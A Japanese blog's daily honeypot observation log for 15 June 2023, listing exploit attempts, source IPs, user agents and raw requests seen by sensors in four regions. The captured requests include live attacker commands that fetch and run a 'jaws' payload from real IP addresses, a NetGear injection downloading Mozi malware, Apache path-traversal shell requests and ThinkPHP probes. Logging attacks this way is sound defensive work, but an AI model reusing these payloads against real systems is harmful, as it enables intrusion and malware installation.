コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/06/15 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/06/15分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
masscanによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
aiohttpによるスキャン行為
Apache Solrへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 163.123.142.194/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 95.214.27.201/jaws;
sh /tmp/jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 95.214.27.201/jaws;
sh /tmp/jaws
アクセス数推移

JP:総アクセス数:308 (前日比:195)
US:総アクセス数:151 (前日比:-49)
UK:総アクセス数:214 (前日比:119)
SG:総アクセス数:116 (前日比:-4)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 3.236.148.162 United States
71 20.81.225.229 United States
1 20.216.191.124 United States
2 31.7.63.42 Panama
71 34.221.103.248 United States
1 35.92.191.132 United States
18 43.154.141.71 Singapore
1 45.8.22.14 Spain
1 45.55.192.60 United States
1 45.56.108.128 United States
1 45.79.181.223 United States
1 47.88.101.3 United States
1 47.89.195.210 United States
1 51.159.214.49 France
2 74.82.47.3 United States
1 79.124.56.98 Bulgaria
1 79.133.51.240 Germany
1 104.192.0.50 United States
1 104.211.220.126 United States
1 107.170.234.40 United States
1 107.182.128.12 United States
2 109.237.98.226 Russia
1 118.68.85.143 Vietnam
70 122.114.76.100 China
18 135.125.246.189 France
10 138.68.137.64 United States
1 142.93.244.221 United States
1 157.230.6.200 United States
1 172.104.11.51 United States
1 172.104.53.95 United States
2 172.105.128.13 United States
1 180.18.91.71 Japan
1 185.170.144.3 Estonia
2 185.224.128.219 Netherlands
8 185.254.196.173 Ukraine
1 185.254.196.186 Ukraine
2 193.35.18.63 Bulgaria
1 195.133.60.19 Czechia
1 198.199.119.88 United States
1 198.235.24.29 United States
1 198.235.24.130 United States
2 220.94.228.163 South Korea

UserAgent一覧

件数 UserAgent
15 -
2 Go-http-client/1.1
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
140 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
18 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.3
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
70 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
28 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
1 Python-urllib/3.6
2 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
2 python-requests/2.25.1
2 python-requests/2.31.0
1 xxx

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x02
9 \x16\x03\x01
1 ``
1 GET /.env.dev HTTP/1.1
2 GET /.env.development HTTP/1.1
2 GET /.env.dist HTTP/1.1
1 GET /.env.example HTTP/1.1
2 GET /.env.old HTTP/1.1
1 GET /.env.php HTTP/1.1
2 GET /.env.prod HTTP/1.1
2 GET /.env.production HTTP/1.1
2 GET /.env.project HTTP/1.1
2 GET /.env.save HTTP/1.1
35 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
4 GET /.git/config HTTP/1.1
2 GET /.json HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET /1.php HTTP/1.1
2 GET /?phpinfo=1 HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /__tests__/test-become/.env HTTP/1.1
2 GET /_profiler/phpinfo HTTP/1.1
2 GET /admin-app/.env HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /admin/config.php HTTP/1.0
1 GET /administrator/.env HTTP/1.1
3 GET /api/.env HTTP/1.1
3 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
2 GET /application/.env HTTP/1.1
3 GET /apps/.env HTTP/1.1
1 GET /assets/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
2 GET /back/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /blogs/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /bundle.js HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /client/.env HTTP/1.1
1 GET /client/get_targets HTTP/1.1
2 GET /cms/.env HTTP/1.1
1 GET /conf/.env HTTP/1.1
2 GET /config.json HTTP/1.1
1 GET /config/.env HTTP/1.1
1 GET /config/getuser?index=0 HTTP/1.1
3 GET /core/.env HTTP/1.1
1 GET /core/Datavase/.env HTTP/1.1
1 GET /core/app/.env HTTP/1.1
2 GET /cp/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /cron/.env HTTP/1.1
1 GET /cronlab/.env HTTP/1.1
1 GET /data/.svn/wc.db HTTP/1.1
1 GET /database/.env HTTP/1.1
2 GET /debug/default/view?panel=config HTTP/1.1
2 GET /development/.env HTTP/1.1
2 GET /docker/.env HTTP/1.1
1 GET /docs/.env HTTP/1.1
1 GET /download/.env HTTP/1.1
1 GET /ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env HTTP/1.1
1 GET /en/.env HTTP/1.1
2 GET /enviroments/.env.production HTTP/1.1
2 GET /enviroments/.env HTTP/1.1
1 GET /exapi/.env HTTP/1.1
4 GET /favicon.ico HTTP/1.1
2 GET /fedex/.env HTTP/1.1
1 GET /files/ HTTP/1.1
2 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /gists/cache HTTP/1.1
3 GET /info.php HTTP/1.1
1 GET /lab/.env HTTP/1.1
3 GET /laravel/.env HTTP/1.1
1 GET /lib/.env HTTP/1.1
1 GET /library/.env HTTP/1.1
2 GET /live_env HTTP/1.1
3 GET /local/.env HTTP/1.1
1 GET /main/.env HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /old/.env HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /phpunit.xml HTTP/1.0
2 GET /private/.env HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /psnlink/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /redmine/.env HTTP/1.1
2 GET /rest/.env HTTP/1.1
1 GET /saas/.env HTTP/1.1
2 GET /script/.env HTTP/1.1
1 GET /sendgrid.env HTTP/1.1
3 GET /shared/.env HTTP/1.1
1 GET /site/.env HTTP/1.1
1 GET /sitemaps/.env HTTP/1.1
1 GET /sites/.env HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
2 GET /sources/.env HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /storage/.env HTTP/1.1
2 GET /system/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /tools/.env HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /uploads/.env HTTP/1.1
1 GET /utils/.git/config HTTP/1.1
1 GET /v1/.env HTTP/1.1
1 GET /v2/.env HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/.env HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /www/.env HTTP/1.1
1 GET http[:]//www[.]google[.]com/ HTTP/1.0
18 HEAD /Core/Skin/Login.aspx HTTP/1.1
2 POST /.env.development HTTP/1.1
2 POST /.env.dist HTTP/1.1
2 POST /.env.old HTTP/1.1
2 POST /.env.prod HTTP/1.1
2 POST /.env.production HTTP/1.1
2 POST /.env.project HTTP/1.1
2 POST /.env.save HTTP/1.1
2 POST /.env HTTP/1.1
2 POST /admin-app/.env HTTP/1.1
2 POST /api/.env HTTP/1.1
1 POST /api/v0/id HTTP/1.1
2 POST /app/.env HTTP/1.1
2 POST /application/.env HTTP/1.1
2 POST /apps/.env HTTP/1.1
2 POST /back/.env HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
2 POST /cms/.env HTTP/1.1
2 POST /core/.env HTTP/1.1
2 POST /cp/.env HTTP/1.1
2 POST /development/.env HTTP/1.1
2 POST /docker/.env HTTP/1.1
2 POST /enviroments/.env.production HTTP/1.1
2 POST /enviroments/.env HTTP/1.1
2 POST /fedex/.env HTTP/1.1
2 POST /laravel/.env HTTP/1.1
2 POST /live_env HTTP/1.1
2 POST /local/.env HTTP/1.1
2 POST /private/.env HTTP/1.1
2 POST /rest/.env HTTP/1.1
2 POST /script/.env HTTP/1.1
2 POST /shared/.env HTTP/1.1
2 POST /sources/.env HTTP/1.1
2 POST /system/.env HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 13.87.72.85 United States
1 23.94.160.136 United States
1 31.7.63.42 Panama
1 44.203.93.32 United States
2 45.33.80.243 United States
1 45.79.128.205 United States
1 45.79.172.21 United States
3 45.79.181.104 United States
2 45.79.181.223 United States
1 45.79.181.251 United States
1 45.83.23.218 Cyprus
1 45.156.129.12 Hungary
1 49.143.32.6 South Korea
31 51.79.29.48 Canada
1 51.120.80.61 United Kingdom
3 54.36.115.221 France
1 60.172.6.70 China
1 64.62.197.51 United States
1 64.62.197.53 United States
10 64.227.138.112 United States
1 66.175.213.4 United States
4 79.124.56.98 Bulgaria
1 80.66.88.204 Russia
8 83.97.73.89 Germany
1 85.114.119.14 Palestine
1 85.208.136.140 Bulgaria
2 87.120.88.17 Bulgaria
1 103.179.189.234 Vietnam
1 107.167.244.67 United States
1 107.182.128.12 United States
1 113.73.26.234 China
1 116.7.16.16 China
1 124.193.78.194 China
2 129.114.108.70 United States
6 152.32.187.174 Hong Kong
1 152.89.198.113 Russia
1 159.203.8.168 United States
2 162.142.125.224 United States
2 162.142.125.226 United States
1 162.240.102.50 United States
1 162.243.131.9 United States
1 165.154.134.205 Hong Kong
10 165.227.44.51 United States
2 167.94.138.50 United States
5 167.99.175.102 United States
2 167.248.133.126 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
3 172.104.53.95 United States
1 172.104.131.24 United States
1 173.230.152.132 United States
1 174.138.2.130 United States
1 179.60.147.13 Belize
1 182.161.173.143 South Korea
2 185.65.135.140 Sweden
2 185.224.128.219 Netherlands
1 192.155.90.118 United States
1 192.227.173.18 United States
1 192.241.198.51 United States
1 192.241.223.14 United States
1 193.32.162.189 Romania
1 193.35.18.63 Bulgaria
1 198.235.24.26 United States
1 205.210.31.12 United States
1 205.210.31.172 United States
1 209.45.91.17 Peru
1 218.23.126.101 China
1 220.94.228.163 South Korea

UserAgent一覧

件数 UserAgent
44 -
2 Custom-HttpClient
1 Go-http-client/1.1
4 Hello, world
1 Mozilla/5.0 (Linux; Android 8.0.0; Pixel 2 XL Build/OPD1.170816.004) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Mobile Safari/537.36
3 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 9_1_1) AppleWebKit/583.36 (KHTML, like Gecko) Chrome/60.0.1550 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05)
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
1 Mozilla/5.0 (Windows NT 8_1; Win64; x64) AppleWebKit/568.41 (KHTML, like Gecko) Chrome/68.0.2727 Safari/537.36
36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/590.39 (KHTML, like Gecko) Chrome/70.0.2862 Safari/537.36
5 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
4 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0
3 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
1 Python/3.7 aiohttp/3.7.4.post0
1 QBOT
2 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
2 python-requests/2.27.1
1 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 HELP
1 MGLNDD_34.68.118.83_80\n
3 \x03
1 \x16\x03\x01\x02
25 \x16\x03\x01
2 \x16\x03\x03\x01\x8e\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
1 ``
40 GET /.env HTTP/1.1
3 GET /.git/config HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /?20628182016134805143312Ex HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /admin/config.php HTTP/1.0
1 GET /axis2-admin/ HTTP/1.1
1 GET /axis2/ HTTP/1.1
1 GET /axis2/axis2-admin/ HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
2 GET /bundle.js HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
2 GET /client/get_targets HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
10 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /phpunit.xml HTTP/1.0
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+163[.]123[.]142[.]194/jaws;sh+/tmp/jaws HTTP/1.1
3 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//azenv[.]net/ HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
10 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 PRI * HTTP/2.0
1 PUT /SDK/webLanguage HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
1 4.193.96.245 United States
1 5.188.206.213 Russia
71 20.208.136.64 United States
2 31.7.63.42 Panama
3 45.74.10.9 United States
2 45.79.128.205 United States
1 45.79.181.104 United States
1 45.79.181.223 United States
1 45.79.181.251 United States
1 45.83.23.218 Cyprus
1 45.156.128.7 Hungary
25 51.79.29.48 Canada
7 54.36.115.221 France
1 66.175.213.4 United States
2 74.82.47.5 United States
1 79.124.56.98 Bulgaria
2 83.97.73.89 Germany
1 84.54.51.109 Bulgaria
2 87.120.88.17 Bulgaria
1 103.40.197.195 India
1 103.107.94.230 India
1 104.28.247.69 United States
1 109.207.200.43 Ukraine
1 113.66.237.114 China
1 120.85.118.154 China
1 138.68.80.252 United States
1 139.59.209.155 Singapore
5 139.144.16.137 United States
1 139.162.63.90 Netherlands
9 142.93.48.215 United States
3 152.89.198.113 Russia
1 157.230.99.127 United States
1 157.230.99.133 United States
1 159.89.40.156 United States
1 159.203.8.168 United States
1 162.243.140.31 United States
2 167.94.138.33 United States
2 172.104.11.51 United States
3 172.104.53.95 United States
1 172.104.131.24 United States
2 172.105.128.11 United States
1 172.105.128.12 United States
1 179.60.147.13 Belize
25 185.65.135.140 Sweden
10 185.180.143.140 Portugal
2 185.224.128.219 Netherlands
1 187.232.93.12 Mexico
1 192.155.90.220 United States
1 192.241.213.74 United States
1 202.62.39.113 Cambodia
1 205.210.31.155 United States
1 205.210.31.215 United States
1 220.94.228.162 South Korea
1 223.244.83.227 China

UserAgent一覧

件数 UserAgent
37 -
25 Custom-HttpClient
4 FooBarTest
1 Go-http-client/1.1
2 Hello, world
70 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
32 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
3 Mozilla/5.0
1 Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00
2 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
1 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
1 HELP
1 SSH-2.0-libssh2_1.10.0
4 \x03
1 \x04\x01\x01\xbbh\x12\n
1 \x16\x03\x01\x02
18 \x16\x03\x01
2 \x16\x03\x03\x01\x8e\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
1 ``
1 CONNECT ssl-judge1[.]api[.]proxyscrape[.]com:443 HTTP/1.1
1 GET /.env.development HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.old HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.project HTTP/1.1
1 GET /.env.save HTTP/1.1
33 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /?20628182016134805143312Ex HTTP/1.1
1 GET /?phpinfo=1 HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /admin/config.php HTTP/1.0
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /application/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /bundle.js HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /cms/.env HTTP/1.1
1 GET /config.json HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /cp/.env HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /enviroments/.env.production HTTP/1.1
1 GET /enviroments/.env HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /fedex/.env HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /live_env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpunit.xml HTTP/1.0
1 GET /private/.env HTTP/1.1
1 GET /rest/.env HTTP/1.1
1 GET /script/.env HTTP/1.1
1 GET /shared/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+95[.]214[.]27[.]201/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /sources/.env HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET /system/.env HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /utils/.git/config HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET http[:]//azenv[.]net/ HTTP/1.1
